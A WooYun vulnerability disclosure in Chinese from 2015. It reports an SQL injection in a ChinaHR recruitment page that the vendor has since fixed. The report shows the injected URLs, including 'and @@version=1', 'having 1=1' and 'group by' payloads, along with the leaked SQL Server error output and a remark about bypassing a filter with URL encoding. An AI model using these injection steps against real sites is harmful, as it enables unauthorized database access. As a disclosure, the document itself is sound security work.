当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105323

漏洞标题:中华英才网sql注入一枚

相关厂商:中华英才网

漏洞作者: 佳佳佳佳佳

提交时间:2015-04-03 10:47

修复时间:2015-04-07 10:04

公开时间:2015-04-07 10:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-07: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

中华英才网sql注入一枚

详细说明:

http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005
存在问题链接:
首先加个单引号,
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005’
可以看到,页面空白,我们右键查看源代码。。

<DIV STYLE="font-size:9pt;background-color:#ddffff;padding-left:5px;display:none"><HR>
错误描述:Incorrect syntax near ''.<BR>
错误编号:0x80040E14<BR>
错误来源:Microsoft OLE DB Provider for SQL Server<BR>
SQL 语句:select job_id,job_title,create_date,org_id,job_duty from job_info with(nolock) where mem_id=20030912001936 and org_id =200309120019360005'' ORDER BY job_order
<HR></DIV>


可以看到,如下错误信息,知道是mssql。。
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005 and @@version=1

<DIV STYLE="font-size:9pt;background-color:#ddffff;padding-left:5px;display:none"><HR>
错误描述:Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64)
Sep 21 2011 22:45:45
Copyright (c) 1988-2008 Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.0 <X64> (Build 6002: Service Pack 2)
' to data type int.<BR>
错误编号:0x80040E07<BR>
错误来源:Microsoft OLE DB Provider for SQL Server<BR>
SQL 语句:select job_id,job_title,create_date,org_id,job_duty from job_info with(nolock) where mem_id=20030912001936 and org_id =200309120019360005 and @@version=1 ORDER BY job_order
<HR></DIV>


可以看到,版本为2008.
用工具注入的时候出错。。在这里测试过滤了()..
可以用url编码绕过。这里不绕过,我们直接来猜字段:
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005 having 1=1

<DIV STYLE="font-size:9pt;background-color:#ddffff;padding-left:5px;display:none"><HR>
错误描述:Column 'job_info.job_id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.<BR>
错误编号:0x80040E14<BR>
错误来源:Microsoft OLE DB Provider for SQL Server<BR>
SQL 语句:select job_id,job_title,create_date,org_id,job_duty from job_info with(nolock) where mem_id=20030912001936 and org_id =200309120019360005 having 1=1 ORDER BY job_order
<HR></DIV>


http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005 group by job_id having 1=1

<DIV STYLE="font-size:9pt;background-color:#ddffff;padding-left:5px;display:none"><HR>
错误描述:Column 'job_info.job_title' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.<BR>
错误编号:0x80040E14<BR>
错误来源:Microsoft OLE DB Provider for SQL Server<BR>
SQL 语句:select job_id,job_title,create_date,org_id,job_duty from job_info with(nolock) where mem_id=20030912001936 and org_id =200309120019360005 group by job_id having 1=1 ORDER BY job_order
<HR></DIV>


就不一个个去爆了,修补就好。。

漏洞证明:

如上

修复方案:

过滤。

版权声明:转载请注明来源 佳佳佳佳佳@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-04-03 17:45

厂商回复:

感谢关注,我们将尽快修复,谢谢

最新状态:

2015-04-07:漏洞已修复,非常感谢您对我们的帮助